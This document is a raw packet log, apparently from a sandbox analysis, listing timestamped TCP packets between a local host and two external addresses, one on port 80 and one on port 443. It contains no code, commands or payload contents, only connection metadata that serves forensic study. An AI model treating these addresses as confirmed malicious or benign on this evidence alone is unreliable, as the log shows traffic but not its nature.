Nov 15, 2024 09:55:18.665673018 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.666243076 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.666254044 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.666296959 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.725884914 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.725912094 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.725959063 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.725977898 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.725987911 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.726023912 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.726047993 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.726074934 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.726111889 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.726116896 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.726150990 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.726561069 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.726607084 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.726654053 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.726666927 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.726695061 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.726708889 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.781862020 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.781877041 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.781888008 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.782010078 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.782021999 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.782057047 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.782063961 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.782084942 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.782084942 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.782084942 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.782109022 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.782109022 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.782125950 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.782138109 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.782150030 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.782164097 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.782181978 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.782195091 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.782741070 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.782751083 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.782763004 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.782799006 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.782886028 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.782897949 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.782907963 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.782916069 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.782918930 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.782923937 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.782959938 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.783610106 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.783761024 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.843086004 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.843116045 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.843122959 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.843147039 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.843172073 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.843244076 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.843255997 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.843266010 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.843277931 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.843283892 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.843317032 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.843471050 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.843523026 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.898747921 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.898773909 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.898783922 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.898796082 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.898860931 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.898864031 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.898871899 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.898900032 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.898917913 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.898969889 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.898982048 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.898993969 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.899009943 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.899033070 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.899651051 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.899661064 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.899708986 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.899728060 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.899739027 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.899823904 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.899861097 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.900064945 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.900119066 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.900146008 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.900156975 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.900178909 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.900198936 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.900232077 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.900243998 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.900254965 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.900268078 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.900288105 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.900757074 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.900795937 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.900804996 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.900831938 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.955029964 CET	443	49743	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.956211090 CET	49743	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.956228018 CET	443	49743	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.956748009 CET	49743	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.956753016 CET	443	49743	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.959898949 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.959927082 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.959939003 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.959964037 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.960002899 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.960041046 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.960046053 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.960057974 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.960073948 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.960100889 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.960133076 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.999187946 CET	443	49744	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.000103951 CET	49744	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.000123024 CET	443	49744	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.000622034 CET	49744	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.000627041 CET	443	49744	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.013288975 CET	443	49746	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.014040947 CET	49746	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.014049053 CET	443	49746	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.014422894 CET	49746	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.014427900 CET	443	49746	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.015896082 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.015929937 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.015945911 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.015971899 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.015995026 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.016021013 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.016035080 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.016047955 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.016061068 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.016066074 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.016098976 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.016134977 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.016182899 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.016275883 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.016319990 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.016345024 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.016387939 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.016429901 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.016446114 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.016462088 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.016477108 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.016499043 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.016567945 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.016582966 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.016601086 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.016608953 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.016619921 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.016637087 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.016638041 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.016664028 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.016690016 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.017379045 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.017395020 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.017431021 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.045682907 CET	443	49745	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.046207905 CET	49745	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.046241045 CET	443	49745	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.046622038 CET	49745	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.046627998 CET	443	49745	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.056101084 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.056143999 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.056155920 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.056175947 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.056195974 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.062258005 CET	443	49747	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.062616110 CET	49747	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.062647104 CET	443	49747	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.062971115 CET	49747	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.062974930 CET	443	49747	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.076915026 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.076927900 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.076937914 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.076948881 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.077022076 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.077022076 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.077047110 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.077058077 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.077095985 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.083566904 CET	443	49743	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.083621979 CET	443	49743	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.083676100 CET	49743	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.083882093 CET	49743	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.083898067 CET	443	49743	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.083909988 CET	49743	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.083915949 CET	443	49743	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.087275982 CET	49748	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.087301016 CET	443	49748	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.087394953 CET	49748	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.087559938 CET	49748	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.087565899 CET	443	49748	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.126476049 CET	443	49744	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.126653910 CET	443	49744	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.126759052 CET	49744	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.127019882 CET	49744	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.127019882 CET	49744	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.127031088 CET	443	49744	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.127038956 CET	443	49744	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.130182028 CET	49749	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.130223989 CET	443	49749	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.130312920 CET	49749	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.130476952 CET	49749	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.130490065 CET	443	49749	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.132740974 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.132797003 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.132813931 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.132818937 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.132828951 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.132842064 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.132848024 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.132867098 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.132904053 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.132977009 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.133024931 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.133042097 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.133059025 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.133093119 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.133105040 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.133223057 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.133275986 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.133280039 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.133297920 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.133322954 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.133341074 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.133372068 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.133388042 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.133404970 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.133421898 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.133421898 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.133435965 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.133443117 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.133474112 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.134002924 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.134047031 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.134058952 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.134068966 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.134090900 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.134108067 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.134160995 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.134172916 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.134183884 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.134198904 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.134210110 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.134215117 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.134242058 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.134263039 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.141803026 CET	443	49746	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.141949892 CET	443	49746	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.142009020 CET	49746	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.142107010 CET	49746	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.142121077 CET	443	49746	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.142132998 CET	49746	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.142138004 CET	443	49746	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.145447016 CET	49750	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.145467043 CET	443	49750	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.145526886 CET	49750	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.145659924 CET	49750	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.145670891 CET	443	49750	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.174398899 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.174431086 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.174447060 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.174467087 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.174491882 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.179824114 CET	443	49745	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.179991007 CET	443	49745	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.180046082 CET	49745	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.180269003 CET	49745	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.180286884 CET	443	49745	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.180305004 CET	49745	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.180318117 CET	443	49745	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.183779955 CET	49751	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.183800936 CET	443	49751	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.183880091 CET	49751	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.184058905 CET	49751	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.184070110 CET	443	49751	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.193648100 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.193679094 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.193706036 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.193721056 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.193758011 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.193784952 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.193813086 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.193825960 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.193829060 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.193861961 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.193900108 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.193934917 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.201723099 CET	443	49747	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.201841116 CET	443	49747	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.201894999 CET	49747	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.202022076 CET	49747	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.202038050 CET	443	49747	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.202049971 CET	49747	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.202055931 CET	443	49747	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.205142021 CET	49752	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.205179930 CET	443	49752	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.205241919 CET	49752	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.205441952 CET	49752	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:19.205456972 CET	443	49752	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:19.249957085 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.249989033 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.250000954 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.250031948 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.250063896 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.250071049 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.250083923 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.250097036 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.250117064 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.250152111 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.250174999 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.250190020 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.250212908 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.250215054 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.250252962 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.250281096 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.250283957 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.250329018 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.250355005 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.250365973 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.250396967 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.250427961 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.250447035 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.250487089 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.250521898 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.250533104 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.250560999 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.250588894 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.250591040 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.250638962 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.250783920 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.250833988 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.250838041 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:19.250847101 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:19.250880003 CET	49712	80	192.168.2.7	185.215.113.206
